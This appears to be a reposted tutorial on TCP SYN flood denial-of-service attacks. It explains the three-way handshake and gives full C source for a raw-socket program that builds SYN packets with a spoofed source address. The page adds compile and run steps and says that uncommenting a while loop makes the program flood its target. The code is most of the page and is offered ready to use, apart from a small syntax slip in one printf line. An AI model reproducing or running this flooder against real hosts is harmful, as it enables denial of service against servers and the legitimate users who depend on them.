SYN Flood DOS Attack with C Source Code

简介:

TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :

1. Client –SYN Packet–> Server
2. Server –SYN/ACK Packet –> Client
3. Client –ACK Packet –> Server

The above 3 steps are followed to establish a connection between source and destination.

SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server’s buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server’s resources are used the response to legitimate users is slowed down resulting in Denial of Service.

Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.

For more information on TCP Syn DOS attack read up rfc 4987 , titled “TCP SYN Flooding Attacks and Common Mitigations”
over here

Below is an example code in c :

Code

1 /*
2     Syn Flood DOS with LINUX sockets
3 */
4 #include<stdio.h>
5 #include<string.h> //memset
6 #include<sys/socket.h>
7 #include<stdlib.h> //for exit(0);
8 #include<errno.h> //For errno - the error number
9 #include<netinet/tcp.h>   //Provides declarations for tcp header
10 #include<netinet/ip.h>    //Provides declarations for ip header
11  
12 struct pseudo_header    //needed for checksum calculation
13 {
14     unsigned int source_address;
15     unsigned int dest_address;
16     unsigned char placeholder;
17     unsigned char protocol;
18     unsigned short tcp_length;
19      
20     struct tcphdr tcp;
21 };
22  
23 unsigned short csum(unsigned short *ptr,int nbytes) {
24     register long sum;
25     unsigned short oddbyte;
26     register short answer;
27  
28     sum=0;
29     while(nbytes>1) {
30         sum+=*ptr++;
31         nbytes-=2;
32     }
33     if(nbytes==1) {
34         oddbyte=0;
35         *((u_char*)&oddbyte)=*(u_char*)ptr;
36         sum+=oddbyte;
37     }
38  
39     sum = (sum>>16)+(sum & 0xffff);
40     sum = sum + (sum>>16);
41     answer=(short)~sum;
42      
43     return(answer);
44 }
45  
46 int main (void)
47 {
48     //Create a raw socket
49     int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
50     //Datagram to represent the packet
51     char datagram[4096] , source_ip[32];
52     //IP header
53     struct iphdr *iph = (struct iphdr *) datagram;
54     //TCP header
55     struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
56     struct sockaddr_in sin;
57     struct pseudo_header psh;
58      
59     strcpy(source_ip , "192.168.1.2");
60    
61     sin.sin_family = AF_INET;
62     sin.sin_port = htons(80);
63     sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
64      
65     memset (datagram, 0, 4096); /* zero out the buffer */
66      
67     //Fill in the IP Header
68     iph->ihl = 5;
69     iph->version = 4;
70     iph->tos = 0;
71     iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
72     iph->id = htonl (54321); //Id of this packet
73     iph->frag_off = 0;
74     iph->ttl = 255;
75     iph->protocol = IPPROTO_TCP;
76     iph->check = 0;      //Set to 0 before calculating checksum
77     iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
78     iph->daddr = sin.sin_addr.s_addr;
79      
80     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
81      
82     //TCP Header
83     tcph->source = htons (1234);
84     tcph->dest = htons (80);
85     tcph->seq = 0;
86     tcph->ack_seq = 0;
87     tcph->doff = 5;      /* first and only tcp segment */
88     tcph->fin=0;
89     tcph->syn=1;
90     tcph->rst=0;
91     tcph->psh=0;
92     tcph->ack=0;
93     tcph->urg=0;
94     tcph->window = htons (5840); /* maximum allowed window size */
95     tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
96                 should fill in the correct checksum during transmission */
97     tcph->urg_ptr = 0;
98     //Now the IP checksum
99      
100     psh.source_address = inet_addr( source_ip );
101     psh.dest_address = sin.sin_addr.s_addr;
102     psh.placeholder = 0;
103     psh.protocol = IPPROTO_TCP;
104     psh.tcp_length = htons(20);
105      
106     memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
107      
108     tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
109      
110     //IP_HDRINCL to tell the kernel that headers are included in the packet
111     int one = 1;
112     const int *val = &one;
113     if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
114     {
115         printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" errnostrerror(errno));
116         exit(0);
117     }
118      
119     //Uncommend the loop if you want to flood :)
120     //while (1)
121     //{
122         //Send the packet
123         if (sendto (s,      /* our socket */
124                     datagram,   /* the buffer containing headers and data */
125                     iph->tot_len,    /* total length of our datagram */
126                     0,      /* routing flags, normally always 0 */
127                     (struct sockaddr *) &sin,   /* socket addr, just like in */
128                     sizeof (sin)) < 0)       /* a normal send() */
129         {
130             printf ("error\n");
131         }
132         //Data send successfully
133         else
134         {
135             printf ("Packet Send \n");
136         }
137     //}
138      
139     return 0;
140 }

Compile and Run

On Ubuntu

1 $ gcc synflood.c
2 sudo ./a.out
3 Packet Send

Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.

目录
相关文章
|
9天前
|
人工智能 数据可视化 安全
王炸组合!阿里云 OpenClaw X 飞书 CLI,开启 Agent 基建狂潮!(附带免费使用6个月服务器)
本文详解如何用阿里云Lighthouse一键部署OpenClaw,结合飞书CLI等工具,让AI真正“动手”——自动群发、生成科研日报、整理知识库。核心理念:未来软件应为AI而生,CLI即AI的“手脚”,实现高效、安全、可控的智能自动化。
34533 26
王炸组合!阿里云 OpenClaw X 飞书 CLI,开启 Agent 基建狂潮!(附带免费使用6个月服务器)
|
21天前
|
人工智能 JSON 机器人
让龙虾成为你的“公众号分身” | 阿里云服务器玩Openclaw
本文带你零成本玩转OpenClaw:学生认证白嫖6个月阿里云服务器,手把手配置飞书机器人、接入免费/高性价比AI模型(NVIDIA/通义),并打造微信公众号“全自动分身”——实时抓热榜、AI选题拆解、一键发布草稿,5分钟完成热点→文章全流程!
45400 148
让龙虾成为你的“公众号分身” | 阿里云服务器玩Openclaw
|
3天前
|
人工智能 自然语言处理 安全
Claude Code 全攻略:命令大全 + 实战工作流(建议收藏)
本文介绍了Claude Code终端AI助手的使用指南,主要内容包括:1)常用命令如版本查看、项目启动和更新;2)三种工作模式切换及界面说明;3)核心功能指令速查表,包含初始化、压缩对话、清除历史等操作;4)详细解析了/init、/help、/clear、/compact、/memory等关键命令的使用场景和语法。文章通过丰富的界面截图和场景示例,帮助开发者快速掌握如何通过命令行和交互界面高效使用Claude Code进行项目开发,特别强调了CLAUDE.md文件作为项目知识库的核心作用。
3763 14
Claude Code 全攻略:命令大全 + 实战工作流(建议收藏)
|
1天前
|
人工智能 供应链 安全
|
2天前
|
人工智能 机器人 开发工具
Windows 也能跑 Hermes Agent!完整安装教程 + 飞书接入,全程避坑
Hermes Agent 是一款自学习AI智能体系统,支持一键安装与飞书深度集成。本教程详解Windows下从零部署全流程,涵盖依赖自动安装、模型配置、飞书机器人接入及四大典型兼容性问题修复,助你快速构建企业级AI协作平台。(239字)
2695 9
|
10天前
|
人工智能 JSON 监控
Claude Code 源码泄露:一份价值亿元的 AI 工程公开课
我以为顶级 AI 产品的护城河是模型。读完这 51.2 万行泄露的源码,我发现自己错了。
5075 21
|
3天前
|
人工智能 监控 安全
阿里云SASE 2.0升级,全方位监控Agent办公安全
AI Agent办公场景的“安全底座”
1144 1

热门文章

最新文章